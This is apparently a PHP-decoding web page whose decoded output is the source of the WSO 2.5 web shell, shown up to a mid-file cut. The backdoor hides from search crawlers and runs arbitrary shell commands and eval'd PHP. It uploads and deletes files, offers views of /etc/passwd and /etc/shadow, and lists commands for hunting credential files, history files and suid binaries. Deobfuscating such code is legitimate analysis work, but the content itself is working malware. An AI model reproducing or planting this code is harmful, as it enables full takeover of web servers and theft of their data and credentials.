Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $array = array('rWmyiJgKT8sFXCmMr639U4nWxcSvVFEur9hNOOvQwF/tpYRqTk9yWV2xPFBAZw..

Decoded Output download

b'?><?php
$auth_pass = "cef26cef9c9fdbdb49363368c8921635";
$color = "#df5";
$default_action = \'FilesMan\';
$default_use_ajax = true;
$default_charset = \'Windows-1251\';

if(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {
        header(\'HTTP/1.0 404 Not Found\');
        exit;
    }
}

@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define(\'WSO_VERSION\', \'2.5\');

if(get_magic_quotes_gpc()) {
	function WSOstripslashes($array) {
		return is_array($array) ? array_map(\'WSOstripslashes\', $array) : stripslashes($array);
	}
	$_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
	die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value=\'>>\'></form></pre>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $auth_pass))
        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $auth_pass))
        wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = \'win\';
else
	$os = \'nix\';

$safe_mode = @ini_get(\'safe_mode\');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get(\'disable_functions\');
$home_cwd = @getcwd();
if(isset($_POST[\'c\']))
	@chdir($_POST[\'c\']);
$cwd = @getcwd();
if($os == \'win\') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != \'/\')
	$cwd .= \'/\';

if(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))
    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$default_use_ajax;

if($os == \'win\')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate \'.conf\'",
		"locate .pwd files" => "locate \'.pwd\'",
		"locate .sql files" => "locate \'.sql\'",
		"locate .htpasswd files" => "locate \'.htpasswd\'",
		"locate .bash_history files" => "locate \'.bash_history\'",
		"locate .mysql_history files" => "locate \'.mysql_history\'",
		"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST[\'charset\']))
		$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];
	global $color;
	echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,\'Courier New\'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';
    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'
    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';
    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';
    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';
    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = \'ajax=true\';
		for(i=0;i<d.mf.elements.length;i++)
			params += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);
		sr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject(\'Microsoft.XMLHTTP\');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open(\'POST\', url, true);
            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\\d+)([\\S\\s]*)\", \'m\');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert(\'Request error!\');
	}
</script>
<head><body><div style=\'position:absolute;width:100%;background-color:#444;top:0;left:0;\'>
<form method=post name=mf style=\'display:none;\'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
	$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname(\'r\');
	$kernel = @php_uname(\'s\');
	$explink = \'http://exploit-db.com/search/?action=search&filter_description=\';
	if(strpos(\'Linux\', $kernel) !== false)
		$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . \' \' . substr($release,0,3));
	if(!function_exists(\'posix_getegid\')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid[\'name\'];
		$uid = $uid[\'uid\'];
		$group = $gid[\'name\'];
		$gid = $gid[\'gid\'];
	}

	$cwd_links = \'\';
	$path = explode("/", $GLOBALS[\'cwd\']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].\'/\';
		$cwd_links .= "\")\'>".$path[$i]."/</a>";
	}

	$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
	$opt_charsets = \'\';
	foreach($charsets as $item)
		$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';

	$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');
	if(!empty($GLOBALS[\'auth_pass\']))
		$m[\'Logout\'] = \'Logout\';
	$m[\'Self remove\'] = \'SelfRemove\';
	$menu = \'\';
	foreach($m as $k => $v)
		$menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a> ]</th>\';

	$drives = "";
	if($GLOBALS[\'os\'] == \'win\') {
		foreach(range(\'c\',\'z\') as $drive)
		if(is_dir($drive.\':\\'))
			$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
	}
	echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\') . \'</span></td>\'
       . \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \' <a href="\' . $explink . \'" target=_blank>[exploit-db.com]</a></nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' ( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=green><b>OFF</b></font>\')
       . \' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> \' . date(\'Y-m-d H:i:s\') . \'<br>\' . wsoViewSize($totalSpace) . \' <span>Free:</span> \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)<br>\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\'FilesMan\',\'\' . $GLOBALS[\'home_cwd\'] . \'\',\'\',\'\',\'\')">[ home ]</a><br>\' . $drives . \'</td>\'
       . \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\'
       . \'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5">\';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'green\'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style=\'border-top:2px solid #333;border-bottom:2px solid #333;\'>
	<tr>
		<td><form onsubmit=\'g(null,this.c.value,\"\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td>
		<td><form onsubmit=\"g(\'FilesTools\',null,this.f.value);return false;\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>
		<td><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g(\'Console\',null,this.c.value);return false;\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>
		<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>
		<input type=hidden name=a value=\'FilesMAn\'>
		<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>
		<input type=hidden name=p1 value=\'uploadFile\'>
		<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>
		<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = \'\';
	if (function_exists(\'exec\')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists(\'passthru\')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists(\'system\')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists(\'shell_exec\')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
    
	if($s >= 1073741824)
		return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
	elseif($s >= 1048576)
		return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
	elseif($s >= 1024)
		return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
	else
		return $s . \' B\';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = \'s\';
	elseif (($p & 0xA000) == 0xA000)$i = \'l\';
	elseif (($p & 0x8000) == 0x8000)$i = \'-\';
	elseif (($p & 0x6000) == 0x6000)$i = \'b\';
	elseif (($p & 0x4000) == 0x4000)$i = \'d\';
	elseif (($p & 0x2000) == 0x2000)$i = \'c\';
	elseif (($p & 0x1000) == 0x1000)$i = \'p\';
	else $i = \'u\';
	$i .= (($p & 0x0100) ? \'r\' : \'-\');
	$i .= (($p & 0x0080) ? \'w\' : \'-\');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
	$i .= (($p & 0x0020) ? \'r\' : \'-\');
	$i .= (($p & 0x0010) ? \'w\' : \'-\');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
	$i .= (($p & 0x0004) ? \'r\' : \'-\');
	$i .= (($p & 0x0002) ? \'w\' : \'-\');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return \'<font color=#FF0000>\' . wsoPerms(@fileperms($f)) . \'</font>\';
	elseif (!@is_writable($f))
		return \'<font color=white>\' . wsoPerms(@fileperms($f)) . \'</font>\';
	else
		return \'<font color=#25ff00>\' . wsoPerms(@fileperms($f)) . \'</font>\';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
	$path = wsoEx(\'which \' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	wsoHeader();
	echo \'<h1>Server security information</h1><div class=content>\';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo \'<span>\' . $n . \': </span>\';
			if(strpos($v, "
") === false)
				echo $v . \'<br>\';
			else
				echo \'<pre class=ml1>\' . $v . \'</pre>\';
		}
	}

	wsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
    if(function_exists(\'apache_get_modules\'))
        wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));
	wsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');
	wsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
	wsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
	wsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
	wsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
	$temp=array();
	if(function_exists(\'mysql_get_client_info\'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists(\'mssql_connect\'))
		$temp[] = "MSSQL";
	if(function_exists(\'pg_connect\'))
		$temp[] = "PostgreSQL";
	if(function_exists(\'oci_connect\'))
		$temp[] = "Oracle";
	wsoSecParam(\'Supported databases\', implode(\', \', $temp));
	echo \'<br>\';

	if($GLOBALS[\'os\'] == \'nix\') {
            wsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
            wsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"shadow\")\'>[view]</a>":\'no\');
            wsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
            wsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
            if(!$GLOBALS[\'safe_mode\']) {
                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
                echo \'<br>\';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam(\'Userful\', implode(\', \',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam(\'Danger\', implode(\', \',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam(\'Downloaders\', implode(\', \',$temp));
                echo \'<br/>\';
                wsoSecParam(\'HDD space\', wsoEx(\'df -h\'));
                wsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
                echo \'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';
                if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {
                    $temp = "";
                    for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {
                        $uid = @posix_getpwuid($_POST[\'p2\']);
                        if ($uid)
                            $temp .= join(\':\',$uid)."
";
                    }
                    echo \'<br/>\';
                    wsoSecParam(\'Users\', $temp);
                }
            }
	} else {
		wsoSecParam(\'OS Version\',wsoEx(\'ver\'));
		wsoSecParam(\'Account Settings\',wsoEx(\'net accounts\'));
		wsoSecParam(\'User Accounts\',wsoEx(\'net user\'));
	}
	echo \'</div>\';
	wsoFooter();
}

function actionPhp() {
	if(isset($_POST[\'ajax\'])) {
        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', true);
		ob_start();
		eval($_POST[\'p1\']);
		$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\\'") . "\';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))
        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', 0);

	wsoHeader();
	if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {
		echo \'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>\';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            \'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',
            \'!td, th {(.*)}!msiU\',
            \'!<img[^>]+>!msiU\',
        ), array (
            \'\',
            \'.e, .v, .h, .h th {$1}\',
            \'\'
        ), $tmp);
		echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';
	}
    echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';
	echo \' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
	if(!empty($_POST[\'p1\'])) {
		ob_start();
		eval($_POST[\'p1\']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo \'</pre></div>\';
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE[\'f\']))
        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);
    
	if(!empty($_POST[\'p1\'])) {
		switch($_POST[\'p1\']) {
			case \'uploadFile\':
				if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
					echo "Can\'t upload file!";
				break;
			case \'mkdir\':
				if(!@mkdir($_POST[\'p2\']))
					echo "Can\'t create new dir";
				break;
			case \'delete\':
				function deleteDir($path) {
					$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST[\'f\']))
					foreach($_POST[\'f\'] as $f) {
                        if($f == \'..\')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case \'paste\':
				if($_COOKIE[\'act\'] == \'copy\') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE[\'f\'] as $f)
						copy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);
				} elseif($_COOKIE[\'act\'] == \'move\') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE[\'f\'] as $f)
						@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);
				} elseif($_COOKIE[\'act\'] == \'zip\') {
					if(class_exists(\'ZipArchive\')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST[\'p2\'], 1)) {
                            chdir($_COOKIE[\'c\']);
                            foreach($_COOKIE[\'f\'] as $f) {
                                if($f == \'..\')
                                    continue;
                                if(@is_file($_COOKIE[\'c\'].$f))
                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);
                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS[\'cwd\']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE[\'act\'] == \'unzip\') {
					if(class_exists(\'ZipArchive\')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE[\'f\'] as $f) {
                            if($zip->open($_COOKIE[\'c\'].$f)) {
                                $zip->extractTo($GLOBALS[\'cwd\']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE[\'act\'] == \'tar\') {
                    chdir($_COOKIE[\'c\']);
                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);
                    wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));
                    chdir($GLOBALS[\'cwd\']);
				}
				unset($_COOKIE[\'f\']);
                setcookie(\'f\', \'\', time() - 3600);
				break;
			default:
                if(!empty($_POST[\'p1\'])) {
					WSOsetcookie(\'act\', $_POST[\'p1\']);
					WSOsetcookie(\'f\', serialize(@$_POST[\'f\']));
					WSOsetcookie(\'c\', @$_POST[\'c\']);
				}
				break;
		}
	}
    wsoHeader();
	echo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';
	$dirContent = wsoScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
	if($dirContent === false) {	echo \'Can\'t open this folder!\';wsoFooter(); return; }
	global $sort;
	$sort = array(\'name\', 1);
	if(!empty($_POST[\'p1\'])) {
		if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == \'checkbox\')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
